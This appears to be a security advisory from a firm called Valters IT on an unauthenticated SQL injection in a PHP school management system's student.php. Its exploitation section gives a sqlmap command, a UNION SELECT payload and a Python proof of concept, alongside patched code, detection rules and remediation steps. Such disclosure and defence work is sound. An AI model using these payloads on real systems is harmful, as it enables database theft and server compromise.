CVE-2024-6277

Executive Summary

CVE-2024-6277 is a critical unauthenticated SQL injection vulnerability in the School Management System by lahirudanushka, affecting versions 1.0.0 and 1.0.1. The flaw resides in the student.php file, specifically within the update parameter of the Student Page. An attacker can remotely inject arbitrary SQL commands without authentication, leading to full database compromise, data exfiltration, and potential server takeover. The exploit has been publicly disclosed, increasing the risk of widespread attacks. No official patch exists, and the vendor has not responded to disclosure attempts.

Supply Chain & Package Security

This is a standalone PHP application, not an NPM, PyPI, Go, or Ruby package. No supply chain implications are present.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

Threat Level: Critical. The vulnerability is trivial to exploit, requires no authentication, and has a public exploit. Immediate action is required.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the student.php endpoint. The application fails to sanitize the update parameter before incorporating it into a SQL query. An attacker can inject malicious SQL payloads via HTTP GET or POST requests.

Root Cause: The update parameter is directly concatenated into a SQL query without parameterization or escaping. For example, a vulnerable code snippet might look like:

$sql = "UPDATE students SET name='$name' WHERE id=" . $_GET['update'];

Attack Vector: Remote, unauthenticated HTTP requests to student.php with a crafted update parameter.

Impact: An attacker can:

• Extract all database contents (usernames, passwords, grades, personal data).
• Modify or delete records.
• Potentially escalate to OS command execution via INTO OUTFILE or similar MySQL features.
• Achieve full server compromise if database credentials are reused.

Vulnerable vs. Patched Code

Vulnerable Code (student.php):

<?php
$id = $_GET['update'];
$sql = "SELECT * FROM students WHERE id = $id";
$result = mysqli_query($conn, $sql);
?>

Patched Code (Recommended):

<?php
$id = intval($_GET['update']);
$stmt = $conn->prepare("SELECT * FROM students WHERE id = ?");
$stmt->bind_param("i", $id);
$stmt->execute();
$result = $stmt->get_result();
?>

The patched version uses prepared statements and input validation (casting to integer) to prevent SQL injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target running School Management System 1.0.0 or 1.0.1.
• Network access to the web server.

Exploit Steps:

1. Identify the vulnerable endpoint: http://target/school/student.php?update=1
2. Test for SQL injection by appending a single quote: http://target/school/student.php?update=1'
3. If an error is returned, the endpoint is vulnerable.
4. Use a tool like sqlmap for automated exploitation:

   sqlmap -u "http://target/school/student.php?update=1" --batch --dbs
   

5. Manual payload example to extract database version:

   http://target/school/student.php?update=1 UNION SELECT 1,@@version,3,4,5--
   

Proof-of-Concept (PoC) Code:

import requests

target = "http://target/school/student.php"
payload = "1 UNION SELECT 1,@@version,3,4,5--"
params = {"update": payload}
response = requests.get(target, params=params)
print(response.text)

Blue Team (Defense & Detection)

Immediate Actions:

• Isolate affected systems.
• Review web server logs for suspicious update parameter values containing SQL keywords (UNION, SELECT, ', --).
• Implement a Web Application Firewall (WAF) rule to block SQL injection patterns.

Detection Rules:

• Monitor for requests to student.php with update parameter containing SQL metacharacters.
• Alert on database error messages in HTTP responses.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /school/student.php with update parameter containing SQL injection patterns (e.g., ', UNION, SELECT, --).
• Outbound database connections from the web server to unexpected IPs (data exfiltration).

File IOCs:

• Modified student.php file (if attacker uploaded a webshell).
• Suspicious files in the web root (e.g., cmd.php, shell.php).

Log IOCs:

• Web server logs showing repeated update parameter manipulation.
• Database logs showing anomalous queries (e.g., UNION SELECT).

Detection Engineering

YARA Rule

rule CVE_2024_6277_SQLi_Student_PHP {
    meta:
        description = "Detects SQL injection attempts targeting student.php update parameter"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-6277"
    strings:
        $sqli1 = "update=" nocase
        $sqli2 = "'" nocase
        $sqli3 = "UNION" nocase
        $sqli4 = "SELECT" nocase
        $sqli5 = "--" nocase
    condition:
        all of ($sqli1, $sqli2) and 1 of ($sqli3, $sqli4, $sqli5)
}

Sigma Rule

title: CVE-2024-6277 SQL Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts against student.php update parameter
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'student.php?update='
        cs-uri-query|contains|all:
            - "'"
            - 'UNION'
            - 'SELECT'
    condition: selection
falsepositives:
    - Legitimate use of single quotes in names (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-6277 SQL Injection Attempt"; flow:to_server,established; content:"GET"; http_method; content:"student.php"; http_uri; content:"update="; http_uri; pcre:"/update=.*['\"]/Ui"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Mitigation:

1. Disable the vulnerable endpoint: Block access to student.php via web server configuration (e.g., .htaccess):

   <Files "student.php">
       Require all denied
   </Files>
   

2. Apply a WAF rule to block SQL injection patterns in the update parameter.
3. Restrict database user privileges to least privilege (e.g., no FILE privilege).

Long-Term Remediation:

1. Patch the code by replacing all dynamic SQL queries with prepared statements (see patched code above).
2. Upgrade to a patched version if the vendor releases one.
3. Conduct a full security audit of the application for similar vulnerabilities.
4. Implement input validation and output encoding throughout the application.

Vendor Contact: No response received. Consider migrating to a maintained alternative.

Valters IT
Securing Digital Frontiers